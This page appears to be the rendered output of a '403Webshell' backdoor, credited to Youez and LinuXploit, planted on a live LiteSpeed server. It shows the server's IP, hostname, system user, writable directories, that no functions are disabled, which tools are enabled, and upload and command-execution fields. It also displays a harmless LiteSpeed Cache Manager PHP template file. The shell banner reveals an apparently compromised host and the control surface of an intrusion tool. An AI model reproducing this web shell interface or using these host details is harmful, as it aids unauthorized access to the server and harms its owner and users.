403Webshell
Server IP : 198.38.94.67  /  Your IP : 216.73.217.142
Web Server : LiteSpeed
System : Linux d6054.dxb1.stableserver.net 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
User : azfilmst ( 1070)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/local/lsws/add-ons/webcachemgr/src/Panel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/lsws/add-ons/webcachemgr/src/Panel/CustomPanelExample.php
<?php

/** ******************************************
 * LiteSpeed Web Server Cache Manager
 *
 * @author LiteSpeed Technologies, Inc. (https://www.litespeedtech.com)
 * @copyright 2026 LiteSpeed Technologies, Inc.
 * @since 1.17.8
 * ******************************************* */

namespace Lsc\Wp\Panel;

use Lsc\Wp\WPInstall;

/**
 * Example CustomPanel implementation for third-party integrators.
 *
 * To use this template:
 * 1. Copy this file to $lsws_home/admin/lscdata/custom/CustomPanel.php
 * 2. Rename both the file and the class: file must be CustomPanel.php and
 *    the class declaration must read "class CustomPanel"
 * 3. Customize the method implementations for your panel
 *
 * The framework expects the deployed file to declare class
 * \Lsc\Wp\Panel\CustomPanel extending \Lsc\Wp\Panel\CustomPanelBase.
 *
 * @see \Lsc\Wp\Panel\CustomPanelBase
 * @see \Lsc\Wp\Panel\ControlPanel::initByClassName()
 * @since 1.17.8
 */
class CustomPanelExample
extends CustomPanelBase
{
    /**
     *
     * @since 1.17.8
     */
    protected function __construct()
    {
        /** @noinspection PhpUnhandledExceptionInspection */
        parent::__construct();
    }

    /**
     *
     * @since 1.17.8
     */
    protected function init2()
    {
        /**
         * Panel name can be set to whatever you'd like.
         */
        $this->panelName = 'customPanel';

        /**
         * Optionally set a default server-level cache root directory.
         * This is used when no explicit cache root has been configured.
         * Example: $this->defaultSvrCacheRoot = '/var/lscache/';
         */

        /** @noinspection PhpUnhandledExceptionInspection */
        parent::init2();
    }

    /**
     * Gets a list of found docroots and associated server names.
     * Only needed for lscmctl 'scan' command.
     *
     * @since 1.17.8
     */
    protected function prepareDocrootMap()
    {
        /**
         * This function can be left as is if you do not intend to use
         * the lscmctl 'scan' command. In this case lscmctl command
         * 'addinstalls' can be used to add WordPress installations to the
         * custom data file instead.
         *
         * If you would like to add support for the lscmctl 'scan' command,
         * implement this function so that it searches for all document root,
         * server name, and server alias groups and uses this information to
         * populate $this->docRootMap as follows:
         *
         * array(
         *     'docroots' => array(index => docroot),
         *     'names' => array("server name/alias" => index)
         * );
         *
         * Where the value of each discovered servername/alias in the 'names'
         * array matches the index of the related document root in the
         * 'docroots' array.
         */
        $this->docRootMap = array('docroots' => array(), 'names' => array());
    }

    /**
     * This function returns the PHP binary to be used when performing
     * WordPress related actions for the WordPress installation associated with
     * the passed in WPInstall object.
     *
     * @since 1.17.8
     *
     * @param WPInstall  $wpInstall
     * @return string
     */
    public function getPhpBinary( WPInstall $wpInstall )
    {
        /**
         * If PHP binary $phpBin can be more accurately detected for the given
         * installation, do so here. The $wpInstall object provides context
         * such as the install's document root and owner information that can
         * be used to select the correct PHP binary, e.g.:
         *   $ownerInfo = $wpInstall->getOwnerInfo();
         *   $user = $ownerInfo['user_name'];
         */
        $phpBin = 'php';

        return "{$phpBin} {$this->phpOptions}";
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit